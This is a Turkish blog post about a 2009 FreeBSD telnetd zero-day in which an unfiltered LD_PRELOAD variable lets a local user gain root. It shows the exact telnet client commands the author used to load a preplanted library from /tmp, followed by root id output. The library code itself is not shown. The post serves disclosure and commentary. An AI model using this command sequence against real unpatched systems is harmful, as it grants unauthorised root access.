FreeBSD Telnet Daemon Zero Day Açıklığı

full-disclosure genelde çok dikkate aldığım bir liste değildir fakat ara ara sıkı şeyler çıkıyor. Dün de benzeri bir durum oldu. Arkadaşın biri FreeBSD telnet daemonu ile ilgili bir zero day açıklığı bulduğunu ve bunun hem local hem de yari-remote çalışabileceğini söylüyordu. Önce pek inandırıcı gelmedi ama sonra kendi sistemlerimde test edince gerçekten çalıştığını gördüm.

Açıklık local privilege escalation tipinde ve FreeBSD telnet daemounun /bin/login’i çalıştırırken environment değişkenini kontrolden geçirmemesinden kaynaklanıyor. Telnet bağlantılarında istenilirse Telnet sunucuya kendi çevresel değişkenleri gönderilebilir. Bu açıklık da benzeri yöntemi kullanarak LD_PRELOAD değişkenini set ederek(daha önce hedef sisteme ilgili dosyayı atmış olması gerekir) gönderiyor ve telnet sunucusu gelen bu değişkeni kontrol etmediğinden /bin/login’i root hakları ile çalıştırırken ilgili dosyayı da çalıştırıyor ve sonrası bingo!

Açıklığı değerlendirebilmek için hedef sistemde siradan bir kullanici hesabinin olmasi gerekir. Bu kullanıcının yetkilerini kullanarak hedef sisteme telnet yapılır ve LD_PRELOAD değişkeni bizim istediğimiz şekilde gönderilir. Sonrasında ilgili sistemde root hakları ile komut çalıştırmak mümkün olacaktır.

Açıklığın Testi:

Öncelikle ilgili dosyanın derlenerek hedef sisteme aktarılması gerekir. /tmp dizinine aktardığımızı düşünelim.Sonra ister hedef sisteme bağlanarak isterse uzaktan telnet bağlantısı kurularak ilgili dosyayı çalıştıralım.

FreeBSD 7.0 Telnet Suncusu

#uname -a FreeBSD snort 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008 [email protected]:/usr/obj/usr/src/sys/GENERIC i386

İstemci(Telnet sunucu ile aynı makine de olabilir.)

[[email protected] ~]$ id uid=1001(huzeyfe) gid=1001(huzeyfe) groups=1001(huzeyfe),0(wheel)

[[email protected] ~]$ uname -a FreeBSD homelabs 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008 [email protected]:/usr/obj/usr/src/sys/GENERIC i386

[[email protected] ~]$ telnet telnet> auth disable SRA telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0 telnet> open 192.168.2.20 Trying 192.168.2.20… Connected to 192.168.2.20. Escape character is ‘^]’.

FreeBSD/i386 (snort) (ttyp3)

ALEX-ALEX # uname -a FreeBSD snort 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008 [email protected]:/usr/obj/usr/src/sys/GENERIC i386 # id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

Her ne kadar FreeBSD sürümlerinde telnet açık olarak gelmese de(inetd.conf’dan açılması gerekir.) bazen zorunluluktan dolayı açılması gerekebiliyor. Bu tip durumlar için kötü bir bug.

Ek bilgiler: FreeBSD 7.0 ve 7.1 de çalışıyor. FreeBSD 6.2 üzerinde çalışmıyor. OpenBSD yeni sürümleri ile birlikte telnet daemonu barindirmiyor.

–Listeye gönderilen orjinal e-posta–

http://lists.grok.org.uk/pipermail/full-disclosure/2009-February/067954.html

FreeBSD Güvenlik Takımından gelen yanıt için

http://lists.freebsd.org/pipermail/freebsd-security/2009-February/005140.html

Anlaşılan o ki açıklığı bulan kişi FreeBSD takımını hiç uyarmadan exploiti ile birlikte yayınlamış.

This entry was posted in FreeBSD. Bookmark the permalink.

1 Response to FreeBSD Telnet Daemon Zero Day Açıklığı

  1. Pingback: İşletim Sistemleri Komut Enjeksiyonu Zayıflıkları « Kaptanoglu Security

Leave a Reply

Your email address will not be published. Required fields are marked *

three × 5 =